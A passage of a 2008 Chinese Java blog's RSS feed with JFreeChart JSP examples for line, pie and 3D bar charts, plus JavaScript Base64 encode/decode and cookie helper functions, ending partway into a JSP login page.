&lt;%@ page import="org.jfree.chart.axis.CategoryAxis"%&gt;<br />
&lt;%@ page import="org.jfree.chart.axis.CategoryLabelPositions"%&gt;<br />
&lt;%@ page import="org.jfree.data.general.DatasetUtilities"%&gt;<br />
&lt;jsp:directive.page import="org.jfree.chart.labels.StandardCategoryItemLabelGenerator"/&gt; </font></p>
<p><font style="background-color: #9deec1">&lt;% </font></p>
<p><font style="background-color: #9deec1">String[] rowKeys= null;//柱数据<br />
String[] columnKeys=null;//刻度数据</font></p>
<p><font style="background-color: #9deec1">rowKeys = new String[]{"219.146.1.196","219.146.10.105","219.146.10.116","219.146.10.73"};<br />
columnKeys = new String[]{"2008年7月上旬","2007-02-04"};</font></p>
<p><font style="background-color: #9deec1">double[][] data = new double[rowKeys.length][columnKeys.length];<br />
data = new double[][]{<br />
&nbsp; {1022.0,856.0},{676.0,13563.0},{12827.0,10576.0},{0.0,100.0}&nbsp; <br />
&nbsp; };<br />
CategoryDataset dataset = DatasetUtilities.createCategoryDataset(rowKeys, columnKeys, data);<br />
JFreeChart chart = ChartFactory.createLineChart( <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "这是测试标题．．．",<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "时间",<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "访问量",&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // range axis label <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; dataset,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // data <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; PlotOrientation.VERTICAL,&nbsp; // orientation <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; true,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // include legend <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; true,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // tooltips <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; false&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // urls <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ); <br />
chart.setBackgroundPaint(Color.WHITE);&nbsp; //-----------------------------背景色<br />
chart.setBorderVisible(true);&nbsp; //--------------------------------------设置边框是否可见<br />
chart.setBorderPaint(Color.BLUE);&nbsp; //-----------------------------------设置边框颜色setBorderVisible()必须为true</font></p>
<p><font style="background-color: #9deec1">CategoryPlot plot = chart.getCategoryPlot();<br />
plot.setBackgroundPaint(Color.CYAN);<br />
CategoryAxis domainAxis = plot.getDomainAxis();<br />
domainAxis.setCategoryLabelPositions(CategoryLabelPositions.DOWN_45);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; plot.setDomainAxis(domainAxis);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // customise the range axis... 设置统计图中只显示整数<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; NumberAxis rangeAxis = (NumberAxis) plot.getRangeAxis(); <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; rangeAxis.setStandardTickUnits(NumberAxis.createIntegerTickUnits()); <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; rangeAxis.setAutoRangeIncludesZero(true); <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; rangeAxis.setUpperMargin(0.20); <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; rangeAxis.setLabelAngle(Math.PI / 2.0);&nbsp; <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; LineAndShapeRenderer renderer = (LineAndShapeRenderer) plot.getRenderer();&nbsp;&nbsp; <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; renderer.setItemLabelsVisible(true); <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; renderer.setShapesVisible(true);//series 点（即数据点）可见<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; renderer.setSeriesPaint(0, new Color(0, 0, 255));<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; renderer.setSeriesPaint(1, new Color(255, 0, 255));<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; renderer.setSeriesPaint(2, new Color(0, 255, 255));<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; renderer.setSeriesPaint(3, new Color(0,125,0));<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; renderer.setItemLabelGenerator(new StandardCategoryItemLabelGenerator());<br />
&nbsp;&nbsp;&nbsp; renderer.setItemLabelsVisible(true);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br />
String filename = ServletUtilities.saveChartAsPNG(chart, 850, 550, null, session);<br />
String graphURL = request.getContextPath() + "/servlet/DisplayChart?filename=" + filename;<br />
%&gt;<br />
&lt;br&gt;<br />
&lt;link href="css/default.css" rel="stylesheet" type="text/css"&gt;<br />
&lt;center&gt;<br />
&lt;img src="&lt;%= graphURL %&gt;" width=850 height=550 border=0 usemap="#&lt;%= filename %&gt;"&gt;</font></p>
<p><font style="background-color: #9deec1"></font>&nbsp;2.饼状图<br />
</p>
<p><font style="background-color: #9deec1">&lt;%@ page language="java" import="java.util.*" pageEncoding="utf-8"%&gt;<br />
&lt;%@ page import="java.io.FileOutputStream"%&gt;<br />
&lt;%@ page import="java.io.IOException"%&gt;<br />
&lt;%@ page import="java.io.*"%&gt;<br />
&lt;%@ page import="java.awt.Color"%&gt;<br />
&lt;%@ page import="java.awt.*"%&gt;<br />
&lt;%@ page import="java.awt.event.*"%&gt;<br />
&lt;%@ page import="javax.swing.*"%&gt;<br />
&lt;%@ page import="org.jfree.chart.*"%&gt;<br />
&lt;%@ page import="org.jfree.data.*"%&gt;<br />
&lt;%@ page import="org.jfree.data.general.*"%&gt;<br />
&lt;%@ page import="org.jfree.data.category.*"%&gt;<br />
&lt;%@ page import="org.jfree.chart.plot.PlotOrientation"%&gt;<br />
&lt;%@ page import="org.jfree.data.category.CategoryDataset"%&gt;<br />
&lt;%@ page import="org.jfree.data.category.DefaultCategoryDataset"%&gt;<br />
&lt;%@ page import="org.jfree.ui.ApplicationFrame"%&gt;<br />
&lt;%@ page import="org.jfree.chart.plot.CategoryPlot"%&gt;<br />
&lt;%@ page import="org.jfree.chart.axis.NumberAxis"%&gt;<br />
&lt;%@ page import="org.jfree.chart.renderer.category.LineAndShapeRenderer"%&gt;<br />
&lt;%@ page import="org.jfree.chart.renderer.category.*"%&gt;<br />
&lt;%@ page import="org.jfree.chart.renderer.category.LineAndShapeRenderer"%&gt;<br />
&lt;%@ page import="org.jfree.chart.plot.PiePlot"%&gt;<br />
&lt;%@page import ="org.jfree.chart.labels.StandardCategoryItemLabelGenerator"%&gt; <br />
&lt;%@page import ="org.jfree.chart.renderer.category.BarRenderer3D"%&gt; <br />
&lt;%@ page import="org.jfree.data.general.DefaultPieDataset"%&gt;<br />
&lt;%@ page import="org.jfree.chart.*"%&gt;<br />
&lt;%@ page import="org.jfree.chart.plot.*"%&gt;<br />
&lt;%@ page import="org.jfree.chart.servlet.ServletUtilities"%&gt;<br />
&lt;%@ page import="org.jfree.chart.urls.StandardPieURLGenerator"%&gt;<br />
&lt;%@ page import="org.jfree.chart.entity.StandardEntityCollection"%&gt;<br />
&lt;%<br />
&nbsp;&nbsp;DefaultPieDataset data = new DefaultPieDataset(); <br />
&nbsp;&nbsp;//数据初始化<br />
&nbsp;&nbsp;data.setValue("高中以下",380); <br />
&nbsp;&nbsp;data.setValue("高中",1620); <br />
&nbsp;&nbsp;data.setValue("大专",6100); <br />
&nbsp;&nbsp;data.setValue("本科",8310); <br />
&nbsp;&nbsp;data.setValue("硕士",3520); <br />
&nbsp;&nbsp;data.setValue("博士",1900); <br />
&nbsp;&nbsp;<br />
&nbsp;&nbsp;//HttpSession session = request.getSession();<br />
&nbsp;&nbsp;<br />
&nbsp;&nbsp;PiePlot plot = new PiePlot(data);//生成一个3D饼图 <br />
&nbsp;&nbsp;//plot.setURLGenerator(new StandardPieURLGenerator("DegreedView.jsp"));//设定图片链接 <br />
&nbsp;&nbsp;JFreeChart chart = new JFreeChart("",JFreeChart.DEFAULT_TITLE_FONT, plot, true); <br />
&nbsp;&nbsp;chart.setBackgroundPaint(java.awt.Color.white);//可选，设置图片背景色 <br />
&nbsp;&nbsp;chart.setTitle("程序员学历情况调查表-By Alpha");//可选，设置图片标题 <br />
&nbsp;&nbsp;//plot.setToolTipGenerator(new StandardPieURLGenerator()); <br />
&nbsp;&nbsp;StandardEntityCollection sec = new StandardEntityCollection(); <br />
&nbsp;&nbsp;ChartRenderingInfo info = new ChartRenderingInfo(sec); <br />
&nbsp;&nbsp;PrintWriter w = new PrintWriter(out);//输出MAP信息 <br />
&nbsp;&nbsp;//500是图片长度，300是图片高度<br />
&nbsp;&nbsp;//String filename = ServletUtilities.saveChartAsPNG(chart,500,300,info,session); <br />
&nbsp;&nbsp;String filename = ServletUtilities.saveChartAsJPEG(chart,500,300,info,session); <br />
&nbsp;&nbsp;ChartUtilities.writeImageMap(w,"map0",info,false); <br />
&nbsp;&nbsp;<br />
&nbsp;&nbsp;String graphURL = request.getContextPath() + "/servlet/DisplayChart?filename=" + filename;</font></p>
<p><font style="background-color: #9deec1">%&gt;<br />
&lt;img src="&lt;%= graphURL %&gt;" width=500 height=300 border=0 usemap="#map0"&gt; <br />
</font></p>
3.柱状图<br />
<p><font style="background-color: #9deec1">&lt;%@ page language="java" import="java.util.*" pageEncoding="GBK"%&gt;<br />
&lt;jsp:directive.page import="org.jfree.data.general.DatasetUtilities"/&gt;<br />
&lt;jsp:directive.page import="org.jfree.chart.JFreeChart"/&gt;<br />
&lt;jsp:directive.page import="org.jfree.chart.ChartFactory"/&gt;<br />
&lt;jsp:directive.page import="org.jfree.chart.plot.PlotOrientation"/&gt;<br />
&lt;jsp:directive.page import="java.awt.Color"/&gt;<br />
&lt;jsp:directive.page import="org.jfree.chart.plot.CategoryPlot"/&gt;<br />
&lt;jsp:directive.page import="org.jfree.chart.axis.CategoryAxis"/&gt;<br />
&lt;jsp:directive.page import="org.jfree.chart.axis.CategoryLabelPositions"/&gt;<br />
&lt;jsp:directive.page import="org.jfree.chart.axis.NumberAxis"/&gt;<br />
&lt;jsp:directive.page import="org.jfree.chart.servlet.ServletUtilities"/&gt;<br />
&lt;jsp:directive.page import="org.jfree.data.category.CategoryDataset"/&gt;<br />
&lt;jsp:directive.page import="org.jfree.chart.renderer.category.BarRenderer3D"/&gt;<br />
&lt;jsp:directive.page import="org.jfree.chart.labels.StandardCategoryItemLabelGenerator"/&gt;<br />
&lt;jsp:directive.page import="org.jfree.chart.axis.AxisLocation"/&gt;<br />
&lt;jsp:directive.page import="java.text.DecimalFormat"/&gt;<br />
&lt;%<br />
String[] rowInfo = new String[]{"one","two"};<br />
String[] colInfo = new String[]{"first","second"};<br />
double[][] dataInfo = new double[2][2];<br />
dataInfo = new double[][]{<br />
&nbsp; {1022.0,856.0},{676.0,13563.0}&nbsp; <br />
&nbsp; };<br />
CategoryDataset data = DatasetUtilities.createCategoryDataset(rowInfo,colInfo,dataInfo);<br />
JFreeChart chart = ChartFactory.createBarChart3D("this is test......",<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "row",<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "col",<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; data,<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; PlotOrientation.VERTICAL,<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; true,false,false);<br />
chart.setAntiAlias(true);<br />
chart.setBackgroundPaint(Color.WHITE);<br />
chart.setBorderPaint(Color.BLACK);<br />
chart.setBorderVisible(true);</font></p>
<p><font style="background-color: #9deec1">//图表区域对象，基本上这个对象决定着什么样式的图表，创建该对象的时候需要Axis、Renderer以及数据集对象的支持<br />
CategoryPlot plot = chart.getCategoryPlot();<br />
plot.setDomainGridlinePaint(Color.RED); //横坐标网格线白色<br />
plot.setDomainGridlinesVisible(true); //可见<br />
plot.setBackgroundPaint(Color.CYAN);</font></p>
<p><font style="background-color: #9deec1">//用于处理图表的两个轴：纵轴和横轴<br />
CategoryAxis axis = plot.getDomainAxis();<br />
axis.setCategoryLabelPositions(CategoryLabelPositions.UP_45);<br />
axis.setAxisLinePaint(Color.RED);<br />
//axis.setLabel("asdfasdfa");<br />
//axis.setUpperMargin(5);<br />
axis.setTickMarksVisible(true);<br />
axis.setAxisLineVisible(true);</font></p>
<font style="background-color: #9deec1">
<p><br />
NumberAxis numberaxis = (NumberAxis)plot.getRangeAxis();<br />
numberaxis.setAutoTickUnitSelection(true);<br />
numberaxis.setAutoRangeIncludesZero(false); </p>
<p>BarRenderer3D renderer = new BarRenderer3D();</p>
<p>renderer.setItemLabelGenerator(new StandardCategoryItemLabelGenerator());<br />
renderer.setItemLabelsVisible(true);<br />
renderer.setBaseOutlinePaint(Color.BLACK);<br />
//设置 Wall 的颜色<br />
renderer.setWallPaint(Color.GREEN);<br />
//设置每种柱的颜色<br />
//renderer.setSeriesPaint(0, new Color(0, 0, 255));<br />
//renderer.setSeriesPaint(1, new Color(0, 100, 255));<br />
//设置平行柱之间距离<br />
renderer.setItemMargin(0.02);<br />
//显示每个柱的数值，并修改该数值的字体属性<br />
//renderer.setItemLabelGenerator(new StandardCategoryItemLabelGenerator());<br />
//renderer.setItemLabelsVisible(true);<br />
plot.setRenderer(renderer);</p>
<p>//设置柱的透明度<br />
plot.setForegroundAlpha(0.8f);<br />
//设置地区、销量的显示位置<br />
plot.setDomainAxisLocation(AxisLocation.TOP_OR_RIGHT);<br />
plot.setRangeAxisLocation(AxisLocation.BOTTOM_OR_RIGHT); </p>
<p>String filename = ServletUtilities.saveChartAsPNG(chart, 850, 550, null, session);<br />
String graphURL = request.getContextPath() + "/servlet/DisplayChart?filename=" + filename;<br />
&nbsp;%&gt;</p>
<p>&lt;center&gt;<br />
&lt;img src="&lt;%= graphURL %&gt;" width=850 height=550 border=0 usemap="#&lt;%= filename %&gt;"&gt;</p>
<p></font>&nbsp;</p>
<img src ="http://www.blogjava.net/zhanglijun33/aggbug/235629.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/zhanglijun33/" target="_blank">智者无疆</a> 2008-10-21 12:00 <a href="http://www.blogjava.net/zhanglijun33/archive/2008/10/21/freechar.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>XMLConfiguration,XMLEncoder,XMLDecoder</title><link>http://www.blogjava.net/zhanglijun33/archive/2008/09/03/xmlconfig.html</link><dc:creator>智者无疆</dc:creator><author>智者无疆</author><pubDate>Wed, 03 Sep 2008 03:47:00 GMT</pubDate><guid>http://www.blogjava.net/zhanglijun33/archive/2008/09/03/xmlconfig.html</guid><wfw:comment>http://www.blogjava.net/zhanglijun33/comments/226618.html</wfw:comment><comments>http://www.blogjava.net/zhanglijun33/archive/2008/09/03/xmlconfig.html#Feedback</comments><slash:comments>5</slash:comments><wfw:commentRss>http://www.blogjava.net/zhanglijun33/comments/commentRss/226618.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/zhanglijun33/services/trackbacks/226618.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: xmlconfiger,XMLEncoder,XMLDecoder||程序生成国际化资源文件||java正则表达式||tomcat的html乱码||MD5算法&nbsp;&nbsp;<a href='http://www.blogjava.net/zhanglijun33/archive/2008/09/03/xmlconfig.html'>阅读全文</a><img src ="http://www.blogjava.net/zhanglijun33/aggbug/226618.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/zhanglijun33/" target="_blank">智者无疆</a> 2008-09-03 11:47 <a href="http://www.blogjava.net/zhanglijun33/archive/2008/09/03/xmlconfig.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>转换当前的url，js</title><link>http://www.blogjava.net/zhanglijun33/archive/2008/08/20/urlConvert.html</link><dc:creator>智者无疆</dc:creator><author>智者无疆</author><pubDate>Wed, 20 Aug 2008 11:49:00 GMT</pubDate><guid>http://www.blogjava.net/zhanglijun33/archive/2008/08/20/urlConvert.html</guid><wfw:comment>http://www.blogjava.net/zhanglijun33/comments/223325.html</wfw:comment><comments>http://www.blogjava.net/zhanglijun33/archive/2008/08/20/urlConvert.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/zhanglijun33/comments/commentRss/223325.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/zhanglijun33/services/trackbacks/223325.html</trackback:ping><description><![CDATA[<p>1.js StringUtil<br />
<font style="background-color: #9deec1">它是标准的base64编码，解码.</p>
<p><font style="background-color: #9deec1">var base64EncodeChars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";<br />
var base64DecodeChars = new Array(<br />
&nbsp;&nbsp;&nbsp; -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,<br />
&nbsp;&nbsp;&nbsp; -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,<br />
&nbsp;&nbsp;&nbsp; -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, 62, -1, -1, -1, 63,<br />
&nbsp;&nbsp;&nbsp; 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, -1, -1, -1, -1, -1, -1,<br />
&nbsp;&nbsp;&nbsp; -1,&nbsp; 0,&nbsp; 1,&nbsp; 2,&nbsp; 3,&nbsp; 4,&nbsp; 5,&nbsp; 6,&nbsp; 7,&nbsp; 8,&nbsp; 9, 10, 11, 12, 13, 14,<br />
&nbsp;&nbsp;&nbsp; 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, -1, -1, -1, -1, -1,<br />
&nbsp;&nbsp;&nbsp; -1, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40,<br />
&nbsp;&nbsp;&nbsp; 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, -1, -1, -1, -1, -1);<br />
//客户端Base64编码<br />
function base64encode(str) {<br />
&nbsp;&nbsp;&nbsp; var out, i, len;<br />
&nbsp;&nbsp;&nbsp; var c1, c2, c3;</font></p>
<p><font style="background-color: #9deec1">&nbsp;&nbsp;&nbsp; len = str.length;<br />
&nbsp;&nbsp;&nbsp; i = 0;<br />
&nbsp;&nbsp;&nbsp; out = "";<br />
&nbsp;&nbsp;&nbsp; while(i &lt; len) {<br />
&nbsp;c1 = str.charCodeAt(i++) &amp; 0xff;<br />
&nbsp;if(i == len)<br />
&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp; out += base64EncodeChars.charAt(c1 &gt;&gt; 2);<br />
&nbsp;&nbsp;&nbsp;&nbsp; out += base64EncodeChars.charAt((c1 &amp; 0x3) &lt;&lt; 4);<br />
&nbsp;&nbsp;&nbsp;&nbsp; out += "==";<br />
&nbsp;&nbsp;&nbsp;&nbsp; break;<br />
&nbsp;}<br />
&nbsp;c2 = str.charCodeAt(i++);<br />
&nbsp;if(i == len)<br />
&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp; out += base64EncodeChars.charAt(c1 &gt;&gt; 2);<br />
&nbsp;&nbsp;&nbsp;&nbsp; out += base64EncodeChars.charAt(((c1 &amp; 0x3)&lt;&lt; 4) | ((c2 &amp; 0xF0) &gt;&gt; 4));<br />
&nbsp;&nbsp;&nbsp;&nbsp; out += base64EncodeChars.charAt((c2 &amp; 0xF) &lt;&lt; 2);<br />
&nbsp;&nbsp;&nbsp;&nbsp; out += "=";<br />
&nbsp;&nbsp;&nbsp;&nbsp; break;<br />
&nbsp;}<br />
&nbsp;c3 = str.charCodeAt(i++);<br />
&nbsp;out += base64EncodeChars.charAt(c1 &gt;&gt; 2);<br />
&nbsp;out += base64EncodeChars.charAt(((c1 &amp; 0x3)&lt;&lt; 4) | ((c2 &amp; 0xF0) &gt;&gt; 4));<br />
&nbsp;out += base64EncodeChars.charAt(((c2 &amp; 0xF) &lt;&lt; 2) | ((c3 &amp; 0xC0) &gt;&gt;6));<br />
&nbsp;out += base64EncodeChars.charAt(c3 &amp; 0x3F);<br />
&nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp; return out;<br />
}</font></p>
<p><font style="background-color: #9deec1"></font>&nbsp;</p>
<p><font style="background-color: #9deec1">//客户端Base64解码<br />
function base64decode(str) {<br />
&nbsp;&nbsp;&nbsp; var c1, c2, c3, c4;<br />
&nbsp;&nbsp;&nbsp; var i, len, out;</font></p>
<p><font style="background-color: #9deec1">&nbsp;&nbsp;&nbsp; len = str.length;<br />
&nbsp;&nbsp;&nbsp; i = 0;<br />
&nbsp;&nbsp;&nbsp; out = "";<br />
&nbsp;&nbsp;&nbsp; while(i &lt; len) {<br />
&nbsp;/* c1 */<br />
&nbsp;do {<br />
&nbsp;&nbsp;&nbsp;&nbsp; c1 = base64DecodeChars[str.charCodeAt(i++) &amp; 0xff];<br />
&nbsp;} while(i &lt; len &amp;&amp; c1 == -1);<br />
&nbsp;if(c1 == -1)<br />
&nbsp;&nbsp;&nbsp;&nbsp; break;</font></p>
<p><font style="background-color: #9deec1">&nbsp;/* c2 */<br />
&nbsp;do {<br />
&nbsp;&nbsp;&nbsp;&nbsp; c2 = base64DecodeChars[str.charCodeAt(i++) &amp; 0xff];<br />
&nbsp;} while(i &lt; len &amp;&amp; c2 == -1);<br />
&nbsp;if(c2 == -1)<br />
&nbsp;&nbsp;&nbsp;&nbsp; break;</font></p>
<p><font style="background-color: #9deec1">&nbsp;out += String.fromCharCode((c1 &lt;&lt; 2) | ((c2 &amp; 0x30) &gt;&gt; 4));</font></p>
<p><font style="background-color: #9deec1">&nbsp;/* c3 */<br />
&nbsp;do {<br />
&nbsp;&nbsp;&nbsp;&nbsp; c3 = str.charCodeAt(i++) &amp; 0xff;<br />
&nbsp;&nbsp;&nbsp;&nbsp; if(c3 == 61)<br />
&nbsp; return out;<br />
&nbsp;&nbsp;&nbsp;&nbsp; c3 = base64DecodeChars[c3];<br />
&nbsp;} while(i &lt; len &amp;&amp; c3 == -1);<br />
&nbsp;if(c3 == -1)<br />
&nbsp;&nbsp;&nbsp;&nbsp; break;</font></p>
<p><font style="background-color: #9deec1">&nbsp;out += String.fromCharCode(((c2 &amp; 0XF) &lt;&lt; 4) | ((c3 &amp; 0x3C) &gt;&gt; 2));</font></p>
<p><font style="background-color: #9deec1">&nbsp;/* c4 */<br />
&nbsp;do {<br />
&nbsp;&nbsp;&nbsp;&nbsp; c4 = str.charCodeAt(i++) &amp; 0xff;<br />
&nbsp;&nbsp;&nbsp;&nbsp; if(c4 == 61)<br />
&nbsp; return out;<br />
&nbsp;&nbsp;&nbsp;&nbsp; c4 = base64DecodeChars[c4];<br />
&nbsp;} while(i &lt; len &amp;&amp; c4 == -1);<br />
&nbsp;if(c4 == -1)<br />
&nbsp;&nbsp;&nbsp;&nbsp; break;<br />
&nbsp;out += String.fromCharCode(((c3 &amp; 0x03) &lt;&lt; 6) | c4);<br />
&nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp; return out;<br />
}</font></p>
<p><font style="background-color: #9deec1"></font>&nbsp;2.使用。<br />
<br />
&lt;script&gt;</p>
<p><font style="background-color: #9deec1">function writeCookie_bak(name, value, hours)<br />
{<br />
&nbsp; var expire = "";<br />
&nbsp; if(hours != null)<br />
&nbsp; {<br />
&nbsp;&nbsp;&nbsp; expire = new Date((new Date()).getTime() + hours * 3600000);<br />
&nbsp;&nbsp;&nbsp; expire = "; expires=" + expire.toGMTString();<br />
&nbsp; }<br />
&nbsp; document.cookie = name + "=" + escape(value) + expire+";path=/movo/";<br />
}</font></p>
<p><font style="background-color: #9deec1">function readCookie_bak(name)<br />
{<br />
&nbsp; var cookieValue = "";<br />
&nbsp; var search = name + "=";<br />
&nbsp; if(document.cookie.length &gt; 0)<br />
&nbsp; { <br />
&nbsp;&nbsp;&nbsp; offset = document.cookie.indexOf(search);<br />
&nbsp;&nbsp;&nbsp; if (offset != -1)<br />
&nbsp;&nbsp;&nbsp; { <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; offset += search.length;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end = document.cookie.indexOf(";", offset);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (end == -1) end = document.cookie.length;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; cookieValue = unescape(document.cookie.substring(offset, end))<br />
&nbsp;&nbsp;&nbsp; }<br />
&nbsp; }<br />
&nbsp; return cookieValue;<br />
}</font></p>
<p><font style="background-color: #9deec1">&nbsp;var blogerNick = readCookie_bak('blogerNick');<br />
&nbsp;&nbsp;&nbsp;&nbsp; alert("blogerNick::"+base64decode(blogerNick));</font><br />
&lt;/script&gt;<br />
<br />
2.<br />
<br />
&lt;%@ page language="java" contentType="text/html; charset=utf-8" pageEncoding="utf-8"%&gt;<br />
&lt;%@ taglib uri="/webwork" prefix="ww"%&gt;<br />
&lt;%@ taglib uri="/compass" prefix="compass"%&gt;<br />
&lt;%@taglib uri="/jstl/c" prefix="c"%&gt;<br />
&lt;%@ taglib uri="http://java.sun.com/jsp/jstl/fmt" prefix="fmt" %&gt;<br />
&lt;%<br />
String contextPath = request.getContextPath();<br />
%&gt;<br />
&nbsp;&lt;%--&lt;meta http-equiv="pragma" content="no-cache"&gt;<br />
&nbsp;&lt;meta http-equiv="cache-control" content="no-cache"&gt;<br />
&nbsp;&lt;meta http-equiv="expires" content="0"&gt;&nbsp;&nbsp;&nbsp; --%&gt;<br />
&nbsp;&lt;meta name="keywords" content="夜店,酒吧,夜店网站,夜店视频,跨语平台,夜店生活,夜店美女"/&gt;<br />
&nbsp;&nbsp;&nbsp; &lt;meta name="description" content="什么是夜店,北京夜店,夜店美女,酒吧,全球跨语种夜店,夜店酒吧,北京后海酒吧,三里屯酒吧,后海酒吧"/&gt;<br />
&nbsp;&lt;%--&lt;%&nbsp; response.setHeader("Pragma","No-cache");&nbsp; <br />
&nbsp;&nbsp;response.setHeader("Cache-Control","no-cache");&nbsp; <br />
&nbsp;&nbsp;response.setDateHeader("Expires", 0); <br />
&nbsp;%&gt;--%&gt;<br />
&lt;script language="javascript" src="&lt;%=contextPath %&gt;/js/jquery.js"&gt;&lt;/script&gt;<br />
&lt;script type="text/javascript" SRC="&lt;%=contextPath %&gt;/js/store.js"&gt;&lt;/script&gt;<br />
&lt;script type="text/JavaScript" src="&lt;%=contextPath%&gt;/js/compassReg.js"&gt;&lt;/script&gt;<br />
&lt;script type="text/javascript"&gt;<br />
function login_head(contextPath){<br />
&nbsp;&nbsp;var email&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; = document.getElementById('email_head');<br />
&nbsp;&nbsp;var psw&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; = document.getElementById('passWord1_head');<br />
&nbsp;&nbsp;<br />
&nbsp;&nbsp;$.ajax({<br />
&nbsp;&nbsp;&nbsp;type : "POST",<br />
